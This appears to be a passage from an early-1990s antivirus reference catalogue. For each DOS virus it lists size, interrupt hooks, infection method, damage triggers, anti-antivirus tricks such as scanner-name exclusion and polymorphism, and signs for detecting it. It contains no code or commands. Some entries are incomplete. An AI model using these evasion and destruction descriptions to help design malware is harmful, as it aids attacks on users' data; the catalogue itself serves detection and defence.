will hang INT 24h to prevent divulging its trace when writing. If
the program to be executed is an uninfected COM or EXE file,
virus proceeds to infect it.

Damage: There is a flag in virus procedure (Every infected file
has a different flag). The flag decreases by 1 every time virus
infects a new file. When the flag is equal to zero, it will
destroy all data on hard diskette.

Detecting Method: Infected file sizes increase by 775-785 bytes.

[Dima]
Virus Name: Dima
Virus Type: COM & EXE File infector
Virus Length: 1024 bytes

Executing Procedure: Searches for all uninfected COM & EXE files
on all directories, and infects them.

Vectors hooked: Hooks INT 24H to prevent divulging its trace when
writing.

Detecting Method: Infected file sizes increase by 1024 bytes.

[Digger]
Virus Name: Digger
Virus Type: COM & EXE File infector
Virus Length:  1472-1482 bytes

Executing Procedure:
Searches for an uninfected COM or EXE file on current directory,
and then infects it (It only infects each file once).

Damage: None

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 1472-1482
bytes.

[FVHS]
Virus Name: Fvhs
Virus Type: COM & EXE File infector
Virus Length:

Executing Procedure: Searches for an uninfected COM or EXE file
on current and parent directories, then infects them. It can
infect three files at a time.

Damage: It will overwrite original files by virus code. Original
files are destroyed.

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged

[Egg]
Virus Name: Egg
Virus Type: EXE File infector
Virus Length:  1000-1005 bytes

Executing Procedure: Checks whether it has remained resident in
memory. If not, it will stay resident in high memory. Then hooks
INT 21h and goes back to original routine.

Vectors hooked: Hooks INT 21H(AH=4Bh) to infect files. First, it
will hang INT 24h to prevent divulging its trace when writing. If
the program to be executed is an uninfected EXE file, virus
proceeds to infect it.

Damage: None

Detecting Method: Infected file sizes increase by 1000-1005
bytes.

[Freddy]
Virus Name: Freddy
Virus Type: EXE & COM File infector
Virus Length:  1870-1880 bytes

Executing Procedure: Checks whether it has remained resident in
memory. If not, it will stay resident in high memory. Then hooks
INT 21h and goes back to original routine.

Vectors hooked: Hooks INT 21H(AH=4Bh)to infect files. If the
program to be executed is an uninfected COM or EXE file, virus
proceeds to infect it.  Virus sometimes searches concurrently for
other uninfected files to infect.

Damage: None

Note: You will see an error message when writing because INT 24h
has not been hanged.

Detecting Method: Infected file sizes increase by 1870-1880
bytes.

[Ninja]
Virus Name: Ninja
Virus Type: EXE & COM File infector
Virus Length:  1511 or 1466 bytes

Executing Procedure: Checks whether it has remained resident in
memory. If not, it will stay resident in high memory. Then hooks
INT 21h and goes back to original routine. It will check whether
current calendar year is 1992, current day is 13, and current
time is 13:00. If these conditions met, virus proceeds to destroy
all data on hard disk.

Vectors hooked: Hooks INT 21H(AH=4Bh)to infect files. If the
program to be executed is an uninfected EXE or COM file, virus
infects it.

Damage: All data on hard diskette will sometimes be destroyed.

Detecting Method: Infected file sizes increase by 1511 or 1466
bytes.

[Yan-2505A]
Virus Name: Yan2505a
Virus Type: EXE & COM File infector
Virus Length:  2505 bytes

Executing Procedure: Checks whether it has remained resident in
memory. If not, it will stay resident in high memory. Then hooks
INT 21h and returns to  original routine.

Vectors hooked: Hooks INT 21H(AH=4Bh)to infect files. First, it
will hang INT 24h to prevent divulging its trace when writing. If
the program to be executed is an uninfected COM or EXE file,
virus proceeds to infect it.

Damage: None

Detecting Method: Infected file sizes increase by 2505 bytes.

[Suicide]
Virus Name: Suicide
Virus Type: COM & EXE File infector
Virus Length:  2048 bytes

Executing Procedure: Searches for uninfected COM or EXE files on
current directory, then infects them. It can infect four files
at a time.

Damage: None

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 2048 bytes.

[4915]
Virus Name: 4915
Virus Type: EXE File infector
Virus Length:

Executing Procedure: Searches for all uninfected EXE files on
current directory from diskette A, then proceeds to infect them.

Damage: It will overwrite original files with a virus code.
Original files are destroyed.

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.
3) This virus is written with an advanced language.

[MSJ]
Virus Name: Msj
Virus Type: EXE & COM File infector
Virus Length: 15395 bytes

Executing Procedure: Searches for an uninfected EXE file on
current directory from diskette A, B or C, then proceeds to
infect it. It only infects one file at a time.

Damage: None

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.
3) This virus is written with an advanced language.

Detecting Method: Infected file sizes increase by 15395 bytes.

[Pa-5220]
Virus Name: Pa-5220
Virus Type: EXE & COM File infector
Virus Length:

Executing Procedure: Virus searches for an uninfected COM or EXE
file on current directory from diskette A, B or C, then infects
it. It only infects one file at a time.

Damage: It will overwrite original files with a virus code.
Original files are destroyed.

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.
3) This virus is written with an advanced language.

[PCBB-11]
Virus Name: Pcbb11
Virus Type: EXE & COM File infector
Virus Length:  3052 bytes

Executing Procedure: Checks whether it has remained resident in
memory. If not, it will stay resident in high memory. Then hooks
INT 21h and goes back to original routine.

Vectors hooked: Hooks INT 21H(AH=4Bh)to infect files. First, it
will hang INT 24h to prevent divulging its trace when writing. If
the program to be executed is an uninfected COM or EXE file,
virus proceeds to infect it.

Damage: ?

Detecting Method: Infected file sizes increase by 3052 bytes.

[Bow]
Virus Name: Bow
Virus Type: EXE & COM File infector
Virus Length:  5856 bytes

Executing Procedure: Checks whether it has remained resident in
memory. If not, it will stay resident in high memory. Then hooks
INT 21h and goes back to original routine.

Vectors hooked: Hooks INT 21H(AH=4Bh) to infect files. If the
program to be executed is an uninfected COM or EXE file, virus
proceeds to infect it.

Damage: None

Note:
1) You will see an error message when writing because INT 24h has
   not been hanged.
2) This virus is written with an advanced language.

Detecting Method: Infected file sizes increase by 5856 bytes.

[PCBB-3072]
Virus Name: Pcbb3072
Virus Type: EXE & COM File infector
Virus Length: 3,072 bytes

Executing Procedure: Checks whether it has remained resident in
memory. If not, it will stay resident in high memory. Then hooks
INT 21h and goes back to original routine.

Vectors hooked: Hooks INT 21H(AH=4Bh)to infect files. First, it
will hang INT 24h to prevent divulging its trace when writing. If
the program to be executed is an uninfected COM or EXE file,
virus proceeds to infect it.

Damage: ?

Detecting Method: Infected file sizes increase by 3072 bytes.

[Terminal]
Virus Name: Terminal
Virus Type: EXE & COM File infector
Virus Length:

Executing Procedure: Virus searches for an uninfected EXE file on
current directory from diskette C, then infects it.

Damage: It will overwrite original files with a virus code.
Original files are destroyed.

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.
3) This virus is written with an advanced language.
4) This virus is encrypted by a program like PKLITE. Although it
   has a pattern, but we cannot scan it.

[Lanc]
Virus Name: Lanc
Virus Type: EXE File infector
Virus Length: 7,376 bytes

Executing Procedure: Virus searches for an uninfected EXE file on
current directory. Then creates a new COM file with the same file
name as the original EXE file. This new COM file is the virus.

Damage: None

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.
3) This virus is written with an advanced language.

Detecting Method: Check whether the file length is 7376 bytes.

[Nazi-Phobia]
Virus Name: Nazi-Phobia
Virus Type: EXE File infector
Virus Length:

Executing Procedure: Virus searches for an uninfected EXE file on
current directory, then infects it. It only infects one file at a
time.

Damage: It will overwrite original files with a virus code.
Original files are destroyed.

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.
3) This virus is written with an advanced language.

[Animus]
Virus Name: Animus
Virus Type: COM & EXE File infector
Virus Length: 7,360 or 7,392 bytes

Executing Procedure: Virus searches for an uninfected COM or EXE
file on current directory, then infects it. It  can infect two or
three files at a time.

Damage: None

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.
3) This virus is written with an advanced language.

Detecting Method: Infected file sizes increase by 7360 or 7392
bytes.

[Hitler]
Virus Name: Hitler
Virus Type: COM File infector
Virus Length:  4,808 bytes

Executing Procedure: Checks whether it has remained resident in
memory. If not, it will stay resident in high memory. Then hooks
INT 21h and goes back to original routine.

Vectors hooked: Hooks INT 21H(AH=4Bh)to infect files. First, it
will hang INT 24h to prevent divulging its trace when writing. If
the program to be executed is an uninfected COM file, virus
proceeds to infect it.

Damage: None

Detecting Method: Infected file sizes increase by 4808 bytes.

[Hellwean-1182]
Virus Name: Hellwean1182
Virus Type: EXE & COM File infector
Virus Length:  1182 bytes

Executing Procedure: Checks whether it has remained resident in
memory. If not, it will reside in high memory. Then hooks INT 21h
and goes back to original routine.

Vectors hooked: Hooks INT 21H(AH=4Bh)to infect  files. First, it
will hang INT 24h to prevent divulging its trace when writing. If
the program to be executed is an uninfected COM or EXE file,
virus proceeds to infect it.

Damage: None

Detecting Method: Infected file sizes increase by 1182 bytes.

[Minsk-GH]
Virus Name: Minsk-Gh
Virus Type: EXE & COM File infector
Virus Length:  1450-1490 bytes

Executing Procedure: Checks whether it has remained resident in
memory. If not, it will stay resident in high memory. Then hooks
INT 21h and goes back to original routine.

Vectors hooked: Hooks INT 21H(AH=4Bh)to infect files. First, it
will hang INT 24h to prevent divulging its trace when writing. If
the program to be executed is an uninfected COM or EXE file,
virus proceeds to infect it.

Damage: None

Note: This virus cannot run on DOS 5.0.

Detecting Method: Infected file sizes increase by 1450-1490
bytes.

[LV]
Virus Name: Lv
Virus Type: COM File infector
Virus Length:

Executing Procedure: Checks whether it has remained resident in
memory. If not, it will reside in high memory. Then hooks INT
21h, and then checks whether COMMAND.COM that booted up system
has been infected or not. If not, virus infects it and returns to
original routine.

Vectors hooked: Hooks INT 21H (AH=4Bh) to infect files. First, it
will hang INT 24h to prevent divulging its trace when writing. If
the program to be executed is an uninfected COM file, virus
proceeds to infect it.

Damage: It will overwrite original files with a virus code.
Original files are destroyed.

[Mini-207]
Virus Name: Mini-207
Virus Type: COM File infector
Virus Length:  207 bytes

Executing Procedure: Virus searches for all uninfected COM files
on current directory, then infects them.

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Damage: It will overwrite original files with virus code.
Original files are destroyed.

[Brother_300]
Virus Name: Brother_300
Virus Type: EXE File infector
Virus Length:  300 bytes

Executing Procedure: Checks whether it has stayed resident in
memory. If not, it will stay resident in high memory. Then hooks
INT 21h and goes back to original routine.

Vectors hooked: Hooks INT 21H(AH=4Bh) to infect files. First, it
hangs INT 24h to prevent divulging its trace when writing. If the
program to be executed is an uninfected EXE file, then creates a
new COM file with the same name as the EXE file. This new COM
file is the virus. Its length is 300 bytes.

Damage: None

Detecting Method: Checks whether the file's length is 300 bytes.

[Lip-286]
Virus Name: Lip-286
Virus Type: COM File infector
Virus Length: 286 bytes

Executing Procedure: Virus searches for an uninfected COM file on
current directory, then infects it. It can infect two or three
files at a time.

Damage: There is a flag in virus procedure (Every infected file
has a different flag). The flag decreases by 1 every time virus
infects a file. When the flag is equal to zero, it will destroy
all data on hard diskette.

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 286 bytes.

[Gomb]
Virus Name: Gomb
Virus Type: COM File infector
Virus Length:  4093 bytes

Executing Procedure: Checks whether it has stayed resident in
memory. If not, it will stay resident in high memory. Then hooks
INT 21h and goes back to original routine.

Vectors hooked: Hooks INT 21H(AH=4Bh) to infect files. If the
program to be executed is an uninfected COM file, virus proceeds
to infect it.

Damage: None

Detecting Method: Infected file sizes increase by 4093 bytes.

[Bert]
Virus Name: Bert
Virus Type: COM & EXE File infector
Virus Length:  2294 bytes

Executing Procedure:
Checks whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then hooks INT 21h and goes back to
original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh)to infect files. If the program to be
executed is an uninfected COM or EXE file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 2294 bytes.

[Triple Shot]
Virus Name: Triple-shot
Virus Type: EXE File infector
Virus Length: 6610

Executing Procedure: Searches for an uninfected EXE file on
current directory. Then creates a new hidden COM file with the
same name as the EXE file. This new COM file is the virus. Its
length is 6610 bytes.

Damage: None

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Checks whether the file's length is 6610 bytes.

[Fame]
Virus Name: Fame
Virus Type: EXE File infector
Virus Length:  896 bytes

Executing Procedure:
Checks whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then hooks INT 21h and goes back to
original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected EXE file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 896 bytes.

[CCCP]
Virus Name: Cccp
Virus Type: COM File infector
Virus Length: 510 bytes

Executing Procedure: Searches for an uninfected COM file on
current directory, then infects it. It can infect two or three
files at a time.

Damage: There is a flag (value from 0 to 25) in virus procedure
(Every infected file has a different flag). When an infected file
with flag of 25 is executed, it will destroy all data on hard
diskette.

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 510 bytes.

[L1]
Virus Name: L1
Virus Type: COM File infector
Virus Length:  140 bytes

Executing Procedure: Checks whether it has stayed resident in
memory. If not, it will stay resident in high memory. Then hooks
INT 21h and goes back to original routine.

Vectors hooked: Hooks INT 21H(AH=4Bh) to infect files. If the
program to be executed is an uninfected COM file, virus proceeds
to infect it.

Damage: None

Note: You will see an error message when writing because INT 24h
has not been hanged. Detecting Method: Infected file sizes
increase by 140 bytes.

[Crepate]
Virus Name: Crepate
Virus Type: Virus infects .COM between  400 and 62000 bytes.
            Infects .EXE shorter than 589824 bytes. Virus is a
            Memory Block Resident.
Virus Length:  2910 bytes on file and 4K bytes in memory.

Interrupt Vectors Hooked: INT 21h.

Infection Process: Every infected file becomes 2910 bytes longer,
with the virus code at the end and some kind of a header created
by the virus. The second group of bytes indicating the time of
creation of the file, is set to 31 (1Fh).  Every subsequent file
infection, the  virus resets the system memory from address 0:413
to 280h (640 K).

Damage:  Virus formats hard disk.

Symptoms: Loss of data stored in last 7 sectors of the diskette, loss
of data stored in last cylinder, first side, first 7 sectors
increased file size.

Note: This virus doesn't infect files named as : "*AN.???" or
"*LD.???" To recognize the virus presence in the boot sector one
can look for:
- a byte with value FFh in the offset 4 in floppy disks.
- a word with value 2128h in the offset 4 in hard disks.
Furthermore, at the end of each infected file, a text string can
be found with the clear text

    "Crepa (C) bye R.T.".

This text can be easily modified. The DOS Chkdsk command, when
the virus is resident, reveals a decreasing of 4K bytes in the
available memory.

[Die Lamer]
Virus Name:  DIE LAMER
Virus Type: Resident at the top of the MCB (Memory Control
            Block).
Virus Length: 1,136 bytes

Interrupt Vectors Hooked: INT 21h.

Infection Process:
This virus is spread by executing an infected program. When a DIE
LAMER infected program is executed, it will first check to see if
it is already resident in memory by checking if address 0:4f2h
contains the value 3232h.  If it is already in memory it will
execute the infected program.  If it is not in memory, it will
perform the following functions:

Damage: Loss of some data stored in the floppy diskette.

Symptoms: Garbage in floppy disk. Increased file sizes. Screen
displays

          "-=*@DIE_LAMER@*=-."

Note: The method used by the virus is very dangerous, because if
an anti-virus program catches this virus in memory and displays
the message: "found '-=*@DIE_LAMER@*=-' in memory", the virus
will only write garbage to the floppy diskette, but the virus
program can be easily modified to execute more destructive
routines(such as formatting the hard disk etc...).

[FaxFree]
Virus Name: FAXFREE
Virus Type: Virus infects .COM and .EXE files as long as they are
            longer than 32 bytes,  and shorter than 131,072
            bytes. Infects on Partition record.  File Infector
            Virus.
Virus Length: 3 Kb

Interrupt Vectors Hooked: INT 21h.

Infection Process: This virus can be spread by executing an
infected program or from booting the system with an infected
disk. There are several methods of infection. When an infected
program is executed in a clean system, the virus first removes
the contents of the original partition sector of the hard disk to
the last sector of the last side of the last cylinder.  Then the
virus will copy itself in the last side of the last cylinder,
beginning from the 9th last sector to the 6th last sector.  These
sectors are not marked as "bad sectors" and get overwritten by
the virus, with no regards for their previous contents.

Damage: Hangs system.  Infected files will increase in length by
2048 bytes, with the virus code file infection.

Symptoms: When the virus wants to replace the original partition
sector, it needs to decrypt some data which after decryption
shows the following text strings :

    "PISello tenere fuori dalla portata dei bambini.
    PaxTibiQuiLegis.FaxFree!!"

Note: This virus doesn't infect files named as : "*AN.???" ,
"*OT.???" or "*ND.???" If the system date is between the 25th and
30th of April, the virus will hang the system. The virus uses a
smart technique to avoid anti-virus detection programs, when
modifying the partition sector that is hooking int 01h, it will
turn on a single step flag to get the original entry of DOS
hooked.  The virus will then move itself to the top of the MCB
(Memory Control Block), and decrease available memory in the MCB
by 3Kb.  It will hook Int 13h and Int 21h and then run the
original program.

[Ghost Player]
Virus Name: GHOST PLAYER
Virus Type: Virus infects .EXE files.  Virus is a Memory Block
            Resident.
Virus Length: 1,200 bytes.

Interrupt Vectors Hooked: INT 21h.

Infection Process: This virus is spread by executing an infected
program. When a GHOST PLAYER infected program is executed, if DOS
version is greater than 3 and the serial number of default disk
equals zero, virus will execute the infected program. Otherwise
virus performs the following functions: virus stays resident at
the top of the MCB (memory control block)  but below the DOS 640k
boundary. The available free memory will decrease by 1200 (4B0H)
bytes.

Damage:  Virus increases file lengths.

Symptoms: Decreased available memory.  If a random value is equal
to FF00, virus displays the following message:" !  Bumpy
Furthermore, the screen shakes up and down.

Note: Virus doesn't infect files named as : "TB*.???" , "F-*.???"
, "CP*.???" , "NA*.???" , "SC*.???" "CL*.???" or "V*.???".

[Gold Bug]
Virus Name: GOLD-BUG
Virus Type: Spawning Color Video Resident and Extended HMA Memory
            Resident Boot-Sector and Master-Sector Infector
Virus Length: 1,024 Bytes.

Interrupt Vectors Hooked: INT 21h, INT 13h

Infection Process: GOLD-BUG is a memory-resident multipartite
polymorphic stealthing boot-sector spawning anti-antivirus virus
that works with DOS 5 and DOS 6 in the HIMEM.SYS memory.  When an
.EXE program infected with the GOLD-BUG virus is run, it
determines if it is running on an 80186 or better, if not it will
terminate and not install. If it is on an 80186 or better it will
copy itself to the partition table of the hard disk and remain
resident in memory in the HMA (High Memory Area) only if the HMA
is available, ie. DOS=HIGH in the CONFIG.SYS file else no
infection will occur.  The old partition table is moved to sector
14 and the remainder of the virus code is copied to sector 13.
The virus then executes the spawned associated file if present.
INT 13 and INT 2F are hooked into at this time but not INT 21.
The spawning feature of this virus is not active now.

Damage: The GOLD-BUG virus also has an extensive anti-antivirus
routine.  It writes to the disk using the original BIOS INT 13
and not the INT 13 chain that these types of programs have hooked
into.  It hooks into the bottom of the interrupt chain rather
than changing and hooking interrupts. If the GOLD-BUG virus is
resident in memory, any attempts to run most virus scanners will
be aborted. GOLD-BUG stops any large .EXE file (greater than 64k)
with the last two letters of "AN" to "AZ".  It will stop
SCAN.EXE, CLEAN.EXE, NETSCAN.EXE, CPAV.EXE, MSAV.EXE,
TNTAV.EXE,etc., etc. The SCAN program will either be deleted or
an execution error will return.  Also, GOLD-BUG will cause a CMOS
checksum failure to happen next time the system boots.  GOLD-BUG
also erases "CHKLIST.???" created by CPAV.EXE and MSAV.EXE.
Programs that do an internal checksum on themselves will not
detect any changes.

Symptoms: CMOS checksum failure.  Creates files with no
extension; Modem answers on 7th ring.  Most virus scanners fail
to run or are Deleted. And CHKLIST.??? files are deleted.

Note: The GOLD-BUG virus is also Polymorphic. Each .EXE file it
creates only has 2 bytes that remain constant.   It can mutate
into 128 different decryption patterns. It uses a double
decryption technique that involves INT 3 that makes it very
difficult to decrypt using a debugger.  The assembly code allowed
for 512 different front-end decryptors. Each of these can mutate
128 different ways.

[Invisible Man]
Virus Name: INVISIBLE MAN
Virus Type: Virus infects .COM and .EXE files, Partition record,
            and the Boot record. Virus is  a Memory Block
            Resident.
Virus Length: 2926 Bytes on file and D80h Bytes in memory.

Interrupt Vectors Hooked:  INT 21h

Infection Process:
This virus can spread by executing an infected program or by
booting the system from an infected Disk. There are several
different methods of infection:

(1). When an  INVISIBLE MAN infected program is executed it will;

      A. Infect the hard disk partition table :
     (i) Write the virus body to the last 7 sectors of the active
         hard disk.
    (ii) The ending location of the active hard disk will be
         decreased by 7 sectors.
   (iii) Write the virus loader to the partition sector. This
         sector will be encrypted.

      B. Modify the boot sector:
      It will change the total sector numbers message, which will
      be seven less than the original figure.

Damage: Virus displays message and plays music on system speaker.

Symptoms:
Loss of data stored in the last 7 sectors of the hard disk;
increased file sizes. File sizes increase by 2926 bytes.  Virus
displays the following message:

    "I'm the invisible man, I'm the invisible man Incredible how
     you can See right through me."

Virus also plays music on system speaker.

[Junkie]
Virus Name: Junkie
Virus Type: Memory-Resident Multipartite.
Virus Length:  512 bytes.

Interrupt Vectors Hooked: INT 21h.

Infection Process:
Once a virus-infected program is run, the virus installs itself
in memory as a terminate-and-stay- resident program. On the
system area of the hard disk, the virus copies two 512-byte
sectors of code into the first track of the hard disk.  The virus
then modifies the existing master boot record of the hard disk to
read the extra sectors and execute them upon boot-up.

Damage:  Virus adds approx. 1,024 bytes of virus code to the end
of the infected file.

[March 25th]
Virus Name: March-25th
Virus Type: Virus infects .EXE and .COM files. The MARCH-25H
            virus will infect  .COM  and .EXE files which are
            shorter than 196608 Bytes in length.
Virus Length: 1056 Bytes.

Interrupt Vectors Hooked: INT 21h.

Infection Process:
This virus is spread by executing an infected program. When a
MARCH-25H infected program is executed, it will check to see if
it is already resident in memory by checking to see if address
0:212h contains the value F100h. If is already in memory it will
execute the infected program. Virus stays resident at the top of
the MCB (memory control block) but below the DOS 640k boundary.
The available free memory will have decreased by 1056 (420H)
bytes. It will infect .EXE and .COM programs when they are
executed from hard disk.

Damage:
Virus destroys Hard Disk. Infected files will have a file length
increase of 1025 - 1040 (401h - 410h) bytes with the virus being
located at the end of the file.

Symptoms: Virus causes data on C drive to be lost.

Note:
If the system date is March 25 of any year, virus will proceed to
write garbage to:
C drive sector 0 - 6 , cylinder 0 , head 0
C drive sector 1 - 7 , cylinder 1 , head 0
C drive sector 1 - 7 , cylinder 2 , head 0."

[Minosse]
Virus Name: MINOSSE
Virus Type: EXE files only: MBR
Virus Length: 5772 bytes

Interrupt Vectors Hooked: INT 21h

Infection Process:
MINOSSE is a polymorphic virus which prevents the Debug.exe
program from tracing this virus. When a MINOSSE infected program
is executed, it will;
1. Hook int 8xh - int 9xh:  (x:any number) First, it will hook
   int 8xh - 9xh, and then it will run this interrupt to get into
   virus entry and decrypt the virus body.
2. Stay resident at the top of MCB (memory control block) but
   below the 640k DOS boundary.

Damage:
Virus will hang the System when System date is greater than June
and the day is  the 25th. Infected programs will have a file
length increase of 3075 bytes with the virus being located at the
end of the file.   The available free memory will have decreased
by 5772 bytes.

Symptoms: Decreased available memory. Virus will display the
following message,

    "Minose 1V5 (c) 93 WilliWonka."

Note:
This virus is a polymorphic and also a very smart virus.  It is
not easy to detect by scan programs because it hasn't the same
code for scan, and it is not easy to find using the interrupt
vectors because it recovers int 21h to the original vector.

[Mombasa]
Virus Name: MOMBASA
Virus Type: Virus infects .COM files.
Virus Length: 3584 bytes.

Interrupt Vectors Hooked:  INT 21h and 08h.

Infection Process:
MOMBASA is a polymorphic virus and uses INT 01h and INT 03h to
prevent tracing this virus.  When a MOMBASA infected program is
executed, it will; Stay resident at the top of MCB (memory
control block) but below the 640k DOS boundary. The available
free memory will have decreased by 3584 bytes. It will hook int
08h to detect if int 21h is changed by another program. If the
INT 21h vector is changed, the virus will change it's vector to
the new INT 21h vector and will hook its vector to int 21h again.
It will infect .COM programs and try to infect C:\COMMAND.COM
when they are executed..  When MOMBASA is memory resident it will
hide the file size change because the virus recovers the original
file length.  When creating a directory , removing a directory,
or selecting a default drive such as A: or B:, virus writes some
data to the disk/diskette, but without success.

Damage:
Screen slowly fades until completely blank.  The system then
proceeds to hang. Virus destroys Boot sector and FAT of the hard
drive. Infected programs will have a file length increase of 3568
bytes with the virus being located at the end of the file.

Symptoms: Virus displays the following message,

    "I'm gonna die...Attack radical...Mombosa virus (MM 92')."

[NOV-17-768]
Virus Name: NOV-17-768
Virus Type: Infects .COM shorter than 59920 Bytes infects .EXE.
Virus Length: Virus infects 768 Bytes on file and 800 Bytes in
              memory.

Interrupt Vectors Hooked: INT 21h.

Infection Process: This virus is a variant of the November-17th
virus: The November 17th virus was received in January, 1992. Its
origin or point of original isolation was originally unknown, but
it has since been reported as being widespread in Rome, Italy,
during the month of December, 1991. November 17th  is a memory
resident infector of .COM and .EXE programs, including
COMMAND.COM. The first time a program infected with November 17th
is executed, the virus will install itself memory resident at the
top of system memory but below the 640K DOS boundary.

Damage:
Virus destroys current disk from sector 1 to sector 8. Total
system and available free memory, as indicated by the DOS CHKDSK
program, will decrease by 896 bytes.  Interrupt 12's return will
not have been moved. Interrupts 09 and 21 will be hooked.

Symptoms: Infected programs will have a file length increase of
855 bytes with the virus being located at the end of the infected
file. There will be no visible change to the file's date and time
in a DOS disk directory listing Note:

[NOV-17-800]
Virus Name: NOV-17-800
Virus Type: Virus infects .COM and .EXE files, Memory Block
            Resident. Virus does not infect. "SCAN", "CLEAN."

Virus Length: 800 bytes on file and 832 bytes in memory.

Interrupt Vectors Hooked: INT 09h and 21h.

Infection Process:
The first time a program infected with November 17th is executed,
the virus will install itself memory resident at the top of
system memory but below the 640K DOS boundary.

Damage: Virus destroys hard disk FAT. When the value of [00:46E]
is changed and the month = 1, the virus will then write garbage
to current disk from sectors 1 to 8.

Symptoms: File sizes increase by 800 bytes. Decreased available
memory by 800 bytes.

[Protovir]
Virus Name: PROTOVIR
Virus Type: Virus infects .COM files and resides in HiMem.
Virus Length: 730 bytes on file and 270 in memory. Interrupt

Vectors Hooked: INT 21h.

Infection Process:
Virus infects .COM  programs when they are executed. Infected
files will have a file length increase of 730 bytes with the
virus being located at the end of the file.  Virus updates the
first 7 bytes, makes the file head point to the virus code, and
reserves the first 7 bytes at the end of the infected file .

Damage: Increased file sizes. Decreased available memory.

Symptoms: Available free memory will decrease by 720 bytes.

[Red Spider]
Virus Name: RED SPIDER
Virus Type: Virus infects .COM files that are between 2,000
            (7D0H) and 63,500 (F80CH) bytes in length. Infect
            .EXE files that are smaller than 524,288 (80000H)
            byte.  Virus is a Memory Block Resident.  A File
            Infector Virus.
Virus Length: 949 - 964 bytes on file.

Interrupt Vectors Hooked: INT 21h.

Infection Process:
Virus stays resident at the top of the MCB (memory control block)
but below the DOS 640k boundary. Virus infects .EXE and .COM
programs when they are executed. Infected files will have a file
length increase of 949 - 964 bytes with the virus being located
at the end of the file.

Damage: Increased file sizes.  Decreased available memory.

Symptoms: The available free memory decreases by 976 bytes.

Note: If COMMAND.COM is infected, the file length will not
change. This virus will not  infect. The following text strings
can be found encrypted in the virus code:

    "Red Spider Virus created by Garfield from Zielona Gora in
     Feb 1993 ....... "

[Hello Shshtay]
Virus Name: HELLO-SHSHTAY
Virus Type: Virus infects .COM files shorter than 63,776 bytes and
            .EXE files shorter than 52,428 bytes.  Virus is a
            Memory Block Resident.
Virus Length: EXE files:1,840 - 1,855 bytes and
              COM files: 1,600 - 1615 bytes. 1792 bytes in memory.

Interrupt Vectors Hooked: INT 21h.

Infection Process:
Virus stays resident at the top of the MCB (memory control block)
but below the DOS 640k boundary. The available free memory
decreases by 1792 bytes. Virus  infects .EXE and .COM  programs
when they are executed. Infected .EXE files will have a file
length increase of 1840 - 1855 bytes and infected .COM files will
have a file length increase of 1600-1615 bytes with the virus
being located at the end of  the file in both cases.

Damage: Increased file sizes.  Decreased available memory.

Symptoms: Virus displays the following message on screen:

        "HELLO SHSHTAY"
        "GODBYE AMIN "
        "HELLO SHSHTAY"
        " ZAGAZIG UNIV"

Note: If the system date is greater than or equal to January,
1994, it will hook INT 1Ch , INT 09h & set a counter = 0.
Interrupt 1ch will add one to the counter 18.2 times every second
and when the counter is greater than or equal to 3786 (ECAh) it
will trigger INT 09h and reset the counter back to 0. When
Interrupt 09h is activated, it will put a message into the
keyboard buffer, so around every 208 (3786/18.2) seconds, the
screen will display one message in turn from the above list.

[Star Dot]
Virus Name: STARDOT
Virus Type: Virus infects .EXE files.  File Infector Virus.
Virus Length: 592 - 608 bytes on file.

Interrupt Vectors Hooked: INT21h.

Infection Process:
Virus only infects .EXE programs when they are executed. There
will be a file length increase of 592 - 608 bytes  with the virus
being located at the end of the file. When the virus infects
another clean program, it adds a counter and writes the value and
virus body into a clean program, so the virus will get the day of
the week and compare with the lowest 3 bits of the counter. If
the value is equal, it will randomly destroy the current disk
sector 8 times. If the counter value is equal to 63 (3Fh), it
will send the random data to system I/O port(from 380h to 3DFh).

Damage: Virus destroys current disk sector and sends random data
to system I/O port.

Symptoms: Lost disk data and increased file sizes.

[Stunning Blow]
Virus Name: STUNNING BLOW
Virus Type: Virus infects .EXE files but not the following headed
            names: "TB","F-","CP","NA","SC","CL","V." Virus is a
            Memory Block Resident.
Virus Length: 1237 bytes on file and 1392 bytes in memory.

Interrupt Vectors Hooked: INT 21h.

Infection Process:
This virus will activate on the 4, 8, 12, 16, 20, 24, and 28  of
each month, after the initial delay period of one month.  Upon
activation the virus will:
(1) Hook interrupt 08h, counter = FFD0h
(2) Decrease the counter by 18.2 every second, and
(3) When the counter reaches zero it will start to play music on
    the speaker. This virus also activates when a random seed =
    -1, and it will display the following message:

    " Stunning Blow (R) Ghost Player Italy."

Damage: Virus deletes "*.CPS"  files.

Symptoms: Loss of some files named as "*.CPS" and increased file
sizes. Decreased available memory.

[Sunrise]
Virus Name: SUNRISE
Virus Type: Virus infects .EXE files.  File Infector Virus.
Virus Length: 1033 bytes on file and 80 bytes in memory after
              activation.

Interrupt Vectors Hooked: INT 21h

Infection Process:
From the root directory of the current disk, virus searches for
the last subdirectory then changes to that subdirectory and all
subsequent last subdirectories.  Virus then searches to infect an
"*.EXE" that has not been infected. Virus checks the disk serial
number. If the number is equal to zero and one memory word is
equal to 2Dh, it will display the following message:

    "* Sun Rise * EpidemicWare G.I.P.Po oct-93."

